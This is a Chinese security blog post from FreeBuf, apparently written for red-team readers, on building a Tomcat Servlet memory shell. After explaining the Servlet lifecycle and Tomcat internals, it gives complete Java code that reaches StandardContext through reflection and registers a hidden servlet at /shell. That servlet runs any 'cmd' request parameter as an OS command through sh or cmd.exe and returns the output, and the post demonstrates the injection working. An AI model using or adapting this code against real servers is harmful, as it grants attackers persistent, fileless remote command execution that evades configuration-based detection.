freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

完全摸透Servlet内存马(内存马系列篇二)
RoboTerh 2022-09-11 19:23:24 306631
所属地 四川省

写在前面

今天给大家带来的是内存马系列文章第二篇,继上一篇深入讲解Filter内存马,这里带来的是Servlet内存马。

前置

什么是Servlet?

Java Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 Web 浏览器或其他 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。

使用 Servlet,您可以收集来自网页表单的用户输入,呈现来自数据库或者其他源的记录,还可以动态创建网页。

Java Servlet 通常情况下与使用 CGI(Common Gateway Interface,公共网关接口)实现的程序可以达到异曲同工的效果,来浅看一下Servlet的架构图。

image-20220911104531854.png

发挥的作用

  • 读取客户端(浏览器)发送的显式的数据。这包括网页上的 HTML 表单,或者也可以是来自 applet 或自定义的 HTTP 客户端程序的表单。

  • 读取客户端(浏览器)发送的隐式的 HTTP 请求数据。这包括 cookies、媒体类型和浏览器能理解的压缩格式等等。

  • 处理数据并生成结果。这个过程可能需要访问数据库,执行 RMI 或 CORBA 调用,调用 Web 服务,或者直接计算得出对应的响应。

  • 发送显式的数据(即文档)到客户端(浏览器)。该文档的格式可以是多种多样的,包括文本文件(HTML 或 XML)、二进制文件(GIF 图像)、Excel 等。

  • 发送隐式的 HTTP 响应到客户端(浏览器)。这包括告诉浏览器或其他客户端被返回的文档类型(例如 HTML),设置 cookies 和缓存参数,以及其他类似的任务

简单的Servlet案例

对于Servlet的创建方式有三种:

  1. 实现javax.servlet.Servlet接口的方式。

    public class ServletTest implements Servlet {
        @Override
        public void init(ServletConfig config) throws ServletException {
            System.out.println("init.....");
        }
    
        @Override
        public ServletConfig getServletConfig() {
            return null;
        }
    
        @Override
        public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
            System.out.println("service.....");
        }
    
        @Override
        public String getServletInfo() {
            return null;
        }
    
        @Override
        public void destroy() {
            System.out.println("destroy.....");
        }
    }
    

    其中的init是在Servlet被创建的时候才会执行的方法,而service就是对客户端进行相应的方法逻辑,在destroy就是在该Servlet被销毁的时候会调用的方法,至于其余两个方法getServletConfig/getServletInfo都是一些非生命周期的调用

    我们来运行一下这个Servelt查看调用

image-20220911110745989.png

能够成功执行这个servlet方法

  1. 或者是继承GenericServlet类创建Servlet

    public class ServletDemo2 extends GenericServlet {
    
        @Override
        public void service(ServletRequest arg0, ServletResponse arg1)
                throws ServletException, IOException {
            System.out.println("service....");
    
        }
    }
    
  2. 又或者是继承了HttpServlet进行创建

    public class ServletDemo3 extends HttpServlet {
    
        @Override
        protected void doGet(HttpServletRequest req, HttpServletResponse resp)
                throws ServletException, IOException {
            System.out.println("doGet...");
        }
    
        @Override
        protected void doPost(HttpServletRequest req, HttpServletResponse resp)
                throws ServletException, IOException {
            System.out.println("doPost...");
            doGet(req,resp);
        }
    
    }
    

其实看似使用三种创建Servlet的方式,但是实际上也是同一种方法进行创建的,是不同的的封装罢了。

image-20220911111822833.png

由上图可知:

  1. GenericServlet 是实现了 Servlet 接口的抽象类。

  2. HttpServlet 是 GenericServlet 的子类,具有 GenericServlet 的一切特性。

  3. Servlet 程序(MyServlet 类)是一个实现了 Servlet 接口的 Java 类。

分析流程

接下来简单分析一下采用实现javax.servlet.Servlet接口的方法触发对应Servlet的service方法的过程。

简单放一下调用栈

service:19, ServletTest (pres.test.momenshell)
internalDoFilter:231, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:52, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:196, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)
invoke:542, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:135, StandardHostValve (org.apache.catalina.core)
invoke:81, ErrorReportValve (org.apache.catalina.valves)
invoke:698, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:364, CoyoteAdapter (org.apache.catalina.connector)
service:624, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:831, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1673, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

从上面的调用栈,我们可以知道在调用Servlet类的service方法之前首先调用了ApplicationFilterChain#doFilter方法,变相明白了,Filter的执行是在Servlet之前的

好吧,也没啥流程好分析的。还是进入正文吧

正文

分析注入方式

同样需要通过代码层面达到Servlet的构建,而不通过xml配置文件添加映射

同样是在javax.servlet.ServletContext接口中声明了几个和Servlet创建相关的方法。

image-20220911113244855.png

我们来到createServlet详细看一下。

image-20220911113311544.png

The returned Servlet instance may be further customized before it is registered with this ServletContext via a call to addServlet(String, Servlet).

从其注释中我们可以知道他是通过addServlet方法的调用来创建Servlet类的

他在Tomcat容器中的实现为org.apache.catalina.core.ApplicationContext#createServlet方法。

image-20220911113610306.png

来到addServlet的声明。

image-20220911113707044.png

同样是存在三种重载方法,通过传入ServletName / ServletClass 来返回了一个ServletRegistration.Dynamic类型

他在Tomcat容器中的实现。

image-20220911114227568.png

来解读这一段代码

  1. 首先同样会判断当前程序是否处于运行状态,如果处在运行状态就会抛出异常

  2. 之后将会在context中通过servletName查找对应的child并将其转化为Wrapper对象

  3. 如果没有找到,将会创建一个Wrapper对象,在添加进入servletName之后将wrapper添加进入context的child中去

  4. 如果servlet为空的话,将会创建一个ServletClass, 并加载这个Class

  5. 之后如果存在初始化参数的时候,将进行初始化操作

  6. 最后创建了一个ApplicationServletRegistration类,通过带入wrapper和context

同样有着程序在运行过程中不能够添加Servlet的限制

那么,如何绕过呢?

我们可以关注到ApplicationServletRegistration#addMapping这个方法中。

image-20220911133647153.png

通过调用了StardContext#addServletMappingDecoded方法传入了url映射,在mapper中添加 URL 路径与 Wrapper 对象的映射。

image-20220911134039951.png

同时其wrapper是通过调用findChild带上ServletName获取到的,之后通过wrapper.addMapping增添了映射,很明显,大概的流程我们已经知道了。

  1. 首先需要创建一个自定义的Servlet类

  2. 之后通过Wrapper对其进行封装

  3. 再将封装之后的wrapper添加进入StandardContext类中的children中去

  4. 最后通过调用addServletMappingDecoded方法添加url映射

手写内存马

有了上面分析的基础之后我们可以开始构造我们的Servlet内存马

同样,首先需要获取到StandardContext对象,这里采用了循环获取的方式,知道获取到StandardContext对象。

// 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
while (o == null) {
    Field f = servletContext.getClass().getDeclaredField("context");
    f.setAccessible(true);
    Object object = f.get(servletContext);

    if (object instanceof ServletContext) {
        servletContext = (ServletContext) object;
    } else if (object instanceof StandardContext) {
        o = (StandardContext) object;
    }
}

之后创建一个自定义的Servlet, 这里同样是实现了cmd传参任意命令执行的逻辑。

//自定义servlet
Servlet servlet = new Servlet() {
    @Override
    public void init(ServletConfig servletConfig) throws ServletException {

    }

    @Override
    public ServletConfig getServletConfig() {
        return null;
    }

    @Override
    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
        String cmd = servletRequest.getParameter("cmd");
        boolean isLinux = true;
        String osTyp = System.getProperty("os.name");
        if (osTyp != null && osTyp.toLowerCase().contains("win")) {
            isLinux = false;
        }
        String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
        InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
        Scanner s = new Scanner(in).useDelimiter("\\a");
        String output = s.hasNext() ? s.next() : "";
        PrintWriter out = servletResponse.getWriter();
        out.println(output);
        out.flush();
        out.close();
    }

    @Override
    public String getServletInfo() {
        return null;
    }

    @Override
    public void destroy() {

    }
};

之后将该Servlet通过Wrapper进行封装, 并将Wrapper添加进入children中去。

//用Wrapper封装servlet
Wrapper newWrapper = o.createWrapper();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);

//向children中添加Wrapper
o.addChild(newWrapper);

最后调用方法进行url映射。

//添加servlet的映射
o.addServletMappingDecoded("/shell", name);

完整的内存马

package pres.test.momenshell;

import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;

import javax.servlet.*;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.Scanner;

public class AddTomcatServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        this.doPost(req, resp);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        try {
            String name = "RoboTerh";
            //从req中获取ServletContext对象
            ServletContext servletContext = req.getServletContext();
            if (servletContext.getServletRegistration(name) == null) {
                StandardContext o = null;

                // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
                while (o == null) {
                    Field f = servletContext.getClass().getDeclaredField("context");
                    f.setAccessible(true);
                    Object object = f.get(servletContext);

                    if (object instanceof ServletContext) {
                        servletContext = (ServletContext) object;
                    } else if (object instanceof StandardContext) {
                        o = (StandardContext) object;
                    }
                }

                //自定义servlet
                Servlet servlet = new Servlet() {
                    @Override
                    public void init(ServletConfig servletConfig) throws ServletException {

                    }

                    @Override
                    public ServletConfig getServletConfig() {
                        return null;
                    }

                    @Override
                    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
                        String cmd = servletRequest.getParameter("cmd");
                        boolean isLinux = true;
                        String osTyp = System.getProperty("os.name");
                        if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                            isLinux = false;
                        }
                        String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
                        InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                        Scanner s = new Scanner(in).useDelimiter("\\a");
                        String output = s.hasNext() ? s.next() : "";
                        PrintWriter out = servletResponse.getWriter();
                        out.println(output);
                        out.flush();
                        out.close();
                    }

                    @Override
                    public String getServletInfo() {
                        return null;
                    }

                    @Override
                    public void destroy() {

                    }
                };

                //用Wrapper封装servlet
                Wrapper newWrapper = o.createWrapper();
                newWrapper.setName(name);
                newWrapper.setLoadOnStartup(1);
                newWrapper.setServlet(servlet);

                //向children中添加Wrapper
                o.addChild(newWrapper);
                //添加servlet的映射
                o.addServletMappingDecoded("/shell", name);

                PrintWriter printWriter = resp.getWriter();
                printWriter.println("servlet added");
            }
        }
        catch (Exception e) {
            e.printStackTrace();
        }
    }
}

内存马的使用示例

观察上面的内存马你可以知道是将内存马的payload执行部分放在了doPost过程中,且在doGet方法中调用doPost,所以一旦我们访问这里httpServlet,将会执行我们的payload, 达到注入内存马的目的。

这只是一个案例,其实完全可以搭建一个CC依赖获取其他可以进行反序列化的的链子,通过反序列化的方式注入内存马的方式更加常见一些。

我们在web.xml中添加这个httpServlet的url映射。

<servlet>
    <servlet-name>AddTomcatServlet</servlet-name>
    <servlet-class>pres.test.momenshell.AddTomcatServlet</servlet-class>
</servlet>
<servlet-mapping>
    <servlet-name>AddTomcatServlet</servlet-name>
    <url-pattern>/addTomcatServlet</url-pattern>
</servlet-mapping>

开启tomcat之后访问这个路由。

image-20220911140154177.png

成功执行

验证内存马的存在性

image-20220911140231658.png

可以知道我们web.xml中并没有添加shell路由但是存在shell路由,成功注入了内存马。

总结

Servlet存马的创建流程

  • 创建恶意Servlet

  • 用Wrapper对其进行封装

  • 添加封装后的恶意Wrapper到StandardContext的children当中

  • 添加ServletMapping将访问的URL和Servlet进行绑定

# web安全 # 网络安全技术
本文为 RoboTerh 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
花样构造内存马
红队宝典
RoboTerh LV.5
Q 2865153524
  • 39 文章数
  • 94 关注者
JSP型内存马的原理学习与实现
2023-09-08
攻防渗透 | WebsocketAndTimer内存马的查杀分析和代码实现
2023-07-16
ExecutorAndUpgrade内存马的查杀分析和代码实现
2023-07-05
文章目录